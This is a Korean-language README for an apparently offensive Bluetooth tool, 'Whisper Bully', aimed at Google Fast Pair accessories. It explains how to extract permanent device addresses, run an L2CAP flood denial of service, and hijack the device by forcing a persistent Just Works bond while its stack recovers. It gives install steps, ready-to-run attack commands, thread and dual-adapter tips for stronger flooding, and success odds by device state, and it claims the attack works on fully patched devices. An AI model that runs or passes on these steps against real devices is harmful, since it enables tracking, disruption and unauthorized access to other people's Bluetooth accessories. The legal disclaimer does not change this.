
3단계 Bluetooth BDADDR 추출, Fast Pair 장치에 대한 DoS 및 하이재킹; CVE-2025-36911 범위 밖의 패치되지 않은 프리미티브 (Ubertooth 불필요)
블루투스 BDADDR 추출, 서비스 거부 및 하이재킹 연구 도구
© 2026 @Ymsniper — 승인된 보안 연구 전용입니다.
Whisper Bully는 Google Fast Pair(서비스 UUID fe2c)를 광고하는 장치를 대상으로 하는 3단계 블루투스 보안 연구 도구입니다. 이 도구는 CVE-2025-36911 펌웨어 패치의 범위를 벗어나는 두 가지 미패치 공격 프리미티브를 시연합니다.
⚠️ 이 도구는 Whisper Pair(Fast Pair GATT) 프로토콜을 구현하지 않습니다. Key-Based Pairing 특성(UUID 1236) 또는 Account Key 특성(UUID 1238)에 절대 쓰지 않습니다. 여기에 설명된 공격 표면은 CVE-2025-36911 페어링 모드 검사 패치와는 별개이며 해당 패치로 해결되지 않습니다.
https://github.com/user-attachments/assets/67f2bcb6-38ad-4ba0-80c5-36dbb54f3f11
근본 원인: BLE 연결이 설정되면 Linux BlueZ 호스트 스택은 LL_CONNECTION_COMPLETE 이벤트를 처리하고 장치의 해결 가능한 개인 주소(RPA)를 영구 식별 주소로 확인하여 BlueZ 장치 테이블에 캐시합니다. 이는 GATT 서비스 상호작용 전에 링크 계층/HCI 수준에서 발생합니다. Fast Pair 프로토콜은 관여하지 않습니다.
코드가 실제로 수행하는 작업:
fe2c를 광고하는 장치에 대해 활성 BLE 스캔(BleakScanner)을 수행합니다. 대상 식별에만 사용되며 프로토콜 상호작용은 없습니다.BleakClient.connect()를 통해 일반 BLE 연결을 설정합니다. 어떤 종류의 GATT 쓰기도 없습니다.NoInputNoOutput으로 설정합니다.wb.py의 452행).bluetoothctl pair <rpa_addr>를 실행합니다. 표준 블루투스 SMP 페어링 시도이며, Fast Pair가 아닙니다.bluetoothctl의 표준 출력에서 Bonded: yes 출력을 모니터링합니다. 이 출력에는 본딩된 주소가 포함될 수 있습니다.bluetoothctl devices를 호출하고 초기 RPA와 비교합니다. 동일한 장치 이름을 가지지만 주소가 다른 항목이 있다면, 이는 2단계에서 BlueZ에 의해 유출된 영구 식별 주소입니다.패치가 이 문제를 해결하지 못하는 이유:
CVE-2025-36911 펌웨어 수정은 액세서리의 Fast Pair GATT Key-Based Pairing 특성 핸들러에 페어링 모드 검사를 추가합니다. 이 도구는 해당 특성에 절대 쓰지 않습니다. 식별 주소 누출은 공격자의 Linux 호스트에서 BlueZ 자체 장치 캐시를 통해 발생하며, 이는 전적으로 액세서리 펌웨어 외부에서 일어납니다.
주요 동작 참고 사항:
bluetoothctl pair 단계가 실패하거나 시간 초과되더라도 추출은 성공할 수 있습니다.NoInputNoOutput은 Just Works에 대해 양쪽에서 사용자 상호작용이 없음을 의미합니다.영구 주소가 알려지면, 수정된 버전의 l2flood를 사용하여 지속적인 L2CAP 서비스 거부를 선택적으로 실행할 수 있습니다.
도구 전체에서 두 가지 모드가 사용됩니다:
-R 플래그 — EMP 모드 (2단계 플러드)
무음 발사 후 망각(fire-and-forget) 버스트-재연결 방식입니다. 모든 스레드는 연결 → 버스트 → 강제 종료 주기를 동기화하여 대상이 흡수할 수 있는 지연된 L2CAP 채널 셔플링 대신 주기적인 전체 ACL 해체를 받도록 합니다. 모든 종료 시 즉각적인 RST 해체를 위해 SO_LINGER {1,0}을 사용합니다. 정상 작동 중에는 표준 출력이 생성되지 않습니다. 연결 오류는 stderr로 억제되고 주기적으로만 출력됩니다.
일반 모드 (3단계 하이재킹 프로브)
-R 없이 사용하여 대상이 여전히 응답하는지 프로브합니다. 이 모드도 개선되었습니다. 이제 자동으로 재연결을 처리하며 대상이 응답을 중단하면 no response from <addr>: id N을 출력합니다. wb.py는 이 출력을 모니터링하여 하이재킹을 트리거합니다.
결과: 플러드가 활성화된 동안 대상 장치는 정상 연결 시도에 응답하지 않게 됩니다. 공격이 중단되면 장치는 완전히 복구되며 영구적인 손상은 없습니다.
멀티스레드 동작:
근본 원인: 지속적인 L2CAP 플러드는 대상 장치의 블루투스 스택을 충돌시키거나 리셋시킵니다. 복구 윈도우 동안 — Fast Pair GATT 서비스가 다시 등록되기 전, 그리고 보안 관리자가 완전히 다시 초기화되기 전 — 장치는 일반적으로 본드를 제어하는 Fast Pair GATT 핸드셰이크 없이 NoInputNoOutput으로부터 표준 SMP Just Works 본드를 수락합니다. 결과 본드는 지속적입니다. BT 어댑터 리셋을 견디며 bluetoothctl info에서 Paired: yes / Bonded: yes를 보여줍니다.
왜 이것이 CVE-2025-36911과 별개의 발견인가:
CVE-2025-36911 패치는 FP GATT Key-Based Pairing 특성 핸들러에 페어링 모드 검사를 시행합니다. 3단계는 해당 특성을 절대 건드리지 않습니다. 본드는 FP GATT 서버가 재초기화되지 않은 윈도우 동안 SMP 계층에서 설정되므로 Fast Pair 보안 게이트에 도달조차 하지 않습니다. 완전히 패치된 장치도 이에 취약한 상태로 남아 있는데, 이는 패치가 스택 복구 중 SMP 계층에 대한 가시성이 없기 때문입니다.
코드가 실제로 수행하는 작업:
l2flood -c -1 -t 2)를 보내 장치가 응답하지 않는지 확인합니다. 출력에서 no response from <addr>: id N을 찾습니다.bluetoothctl connect <permanent_addr>를 실행합니다.NoInputNoOutput / NoInputNoOutput을 협상 → Just Works 연관 모델 → 본드 완료bluetoothctl connect가 성공 시 종료 코드 0을 반환합니다.장치 상태별 성공 확률:
| 장치 상태 | 예상 결과 |
|---|---|
| 플러드 활성 / 응답 없음 | 가장 높은 성공 — 복구 중 스택이 저하된 상태 |
| 플러드에서 복구 중 | 높은 성공 — 일시적인 SM 재초기화 윈도우 |
| 완전히 복구됨 | 낮은 성공 — 정상 보안 복원됨 |
| 전원 꺼짐 | 실패 |
이것은 서비스 거부 및 무단 접근 연구 도구입니다.
소유하지 않거나 명시적인 서면 승인 없이 이 도구를 장치에 사용하는 것은 연방 범죄이며, 컴퓨터 사기 및 남용 법률(18 U.S.C. § 1030) 및 기타 관할권의 동등한 법령에 따라 징역 및 벌금에 처해질 수 있습니다.
다음 장치에서만 이 도구를 사용할 수 있습니다:
bluetoothctl 및 원시 BLE 접근에 필요)bluetoothctl / BlueZ installed and functionall2flood — kovmir/l2flood 참조Ubuntu / Debian:
sudo apt update
sudo apt install -y python3 python3-pip libdbus-1-dev libglib2.0-dev bluez
Fedora / RHEL / CentOS:
sudo dnf install -y python3 python3-pip dbus-devel glib2-devel bluez
Arch Linux:
sudo pacman -S python python-pip dbus glib bluez
Alpine Linux:
apk add --no-cache python3 py3-pip dbus-dev glib-dev bluez bluez-openrc
openSUSE:
sudo zypper install -y python3 python3-pip dbus-1-devel glib2-devel bluez
Void Linux:
sudo xbps-install -S python3 python3-pip dbus-devel glib-devel bluez
git clone https://github.com/Ymsniper/Whisper_Bully.git
cd Whisper_Bully
pip3 install -r requirements.txt
# Required for Stage 2/3 only:
make
sudo make install
# Auto-detect and extract all nearby Fast Pair devices
sudo python3 wb.py
# 20 second scan, save results
sudo python3 wb.py -s 20 -o targets.json
# 30 second scan, custom output file
sudo python3 wb.py -s 30 -o extracted.json
참고: 장치가 이 도구나 수동으로 이전에 연결 또는 페어링된 경우, BlueZ는 이미 해당 장치의 식별 주소를 알고 있습니다. 추출이 깔끔하게 실행되도록 먼저 제거하세요:
sudo bluetoothctl remove <address>
sudo python3 wb.py -s 20 -o targets.json
# At completion: "Run aggressive L2CAP test... (yes/no)" → yes
# Stage 1 + Stage 2 only
sudo python3 wb.py -s 20 -o targets.json --aggressive
# Stage 1 + Stage 2 + Stage 3
sudo python3 wb.py -s 20 -o targets.json --aggressive --hijack
# With duration and thread count
sudo python3 wb.py -s 20 -o targets.json --aggressive --hijack -d 120 -t 8
# Flood from extracted targets file for 120 seconds
sudo python3 aggressive_test.py -f targets.json -d 120 -t 4
# Flood a single known address for 60 seconds
sudo python3 aggressive_test.py AA:BB:CC:DD:EE:FF -d 60
# Flood forever (Ctrl+C to stop)
sudo python3 aggressive_test.py AA:BB:CC:DD:EE:FF -f
# Integrated — extract, flood, then hijack
sudo python3 wb.py -s 20 -o targets.json --aggressive --hijack -d 120
# Manual standalone hijack on known address
sudo python3 wb.py -H AA:BB:CC:DD:EE:FF
sudo python3 wb.py -s 20 -o targets.json --aggressive --hijack -d 120 -t 4
실행 흐름:
targets.json에 저장# Terminal 1
sudo python3 wb.py -s 20 -o targets.json --aggressive --hijack -i hci0 -d 120 -t 4 &
# Terminal 2
sudo python3 wb.py -s 20 -o targets.json --aggressive --hijack -i hci1 -d 120 -t 4
DoS 압력을 두 배로 높이고 복구 윈도우 중 하이재킹 성공 확률을 증가시킵니다.
Fast Pair FE2C 서비스 UUID는 후보 대상을 식별하기 위한 스캔 필터로만 사용됩니다. BLE 연결이 설정되면:
LL_CONNECTION_COMPLETE를 호스트에 전송합니다.bluetoothctl devices는 원래 RPA와 새로 등록된 식별 주소를 모두 표시합니다. 동일한 장치 이름, 다른 주소입니다.동시에 실행되는 bluetoothctl pair 호출은 성공할 수도 있고 실패할 수도 있습니다. 일반적으로 pair 명령이 완료되거나 실패할 때쯤이면 BDADDR은 이미 테이블에 있습니다.
l2flood -R)이 수정된 l2flood는 의도된 단계에 따라 두 가지 모드를 가집니다.
-R 플래그 — EMP 모드 (DoS 전용, 하이재킹 없음)
3단계로 진행하지 않고 2단계를 단독으로 실행할 때 사용합니다.
무음 발사 후 망각 버스트-재연결 — 모든 스레드는 연결 → 버스트 → 강제 종료 주기를 동기화하여 주기적인 전체 ACL 해체를 보장합니다. 정상 작동 중 표준 출력을 생성하지 않습니다.
일반 모드 (DoS + 하이재킹 프로브)
3단계가 의도될 때 사용합니다. 일반 모드는 자동 재연결을 처리하도록 개선되었으며, 대상이 응답을 중단하면 no response from <addr>: id N을 출력합니다. 이것이 wb.py가 하이재킹 시도를 트리거하기 위해 모니터링하는 신호입니다.
결과 본드는 일시적인 연결이 아닙니다. BlueZ에 저장된 완전한 SMP 본드입니다.
bluetoothctl info <addr> shows Paired: yes, Bonded: yes, Trusted: nobluetoothctl power off/on 주기를 견딥니다./var/lib/bluetooth/에 저장됨).bluetoothctl이 있는 Linux 필요장치를 찾을 수 없음
bluetoothctl이 작동하는지 확인: sudo bluetoothctl list-s 30BLE 연결 실패 / 추출 실패
sudo bluetoothctl remove <addr>플러드 효과 없음
-t 16권한 거부됨
sudo로 실행bluetooth 그룹에 속해 있는지 확인하거나 root로 실행bleak 임포트 오류
sudo apt install libdbus-1-dev libglib2.0-devsudo dnf install dbus-devel glib2-develsudo pacman -S dbus glibD-Bus 오류
sudo systemctl start dbus && sudo systemctl start bluetoothMIT. 자세한 내용은 LICENSE를 참조하세요.
이 도구는 승인된 보안 테스트 및 방어 연구 전용입니다. 블루투스 장치에 대한 무단 접근은 불법입니다. 소유하거나 명시적인 서면 테스트 허가를 받은 장치에만 사용하세요. 저자는 무단 또는 불법 사용에 대한 책임을 지지 않습니다.
| CVE-2025-36911 (WhisperPair) | 이 도구 |
|---|
| 사용된 프로토콜 | Fast Pair GATT KBP (UUID 1236 write) | 없음 — 일반 BLE 연결만 |
| BDADDR 누출 경로 | 암호화된 KBP 알림 (BR/EDR 주소) | BlueZ RPA 해석 (LL_CONNECTION_COMPLETE 시) |
| 인증 우회 경로 | FP 페어링 모드 검사 누락 | BT 스택 복구 윈도우 중 SMP Just Works |
| 36911 수정으로 패치됨? | 예 | 아니요 |
| 패치된 장치에서 작동? | 아니요 | 예 |
| CWE | CWE-287 | CWE-200 (1단계) + CWE-362/CWE-287 (3단계) |
| 플래그 | 설명 |
|---|
-s, --scan-time | BLE 스캔 시간(초) (기본값: 10) |
-o, --output | 추출된 주소를 JSON 파일로 저장 |
--aggressive | 프롬프트 생략, 2단계 즉시 실행 (사전 서면 승인 필요) |
-H, --hijack | 2단계 후 3단계 하이재킹 시도 (--aggressive 또는 대화형 예 필요) |
-d, --duration | 플러드 시간(초) (기본값: 60) 또는 f는 무한 |
-t, --threads | 병렬 L2CAP 플러드 스레드 (기본값: CPU 코어 수) |
-i, --hci | 사용할 HCI 어댑터 (예: hci0, hci1) |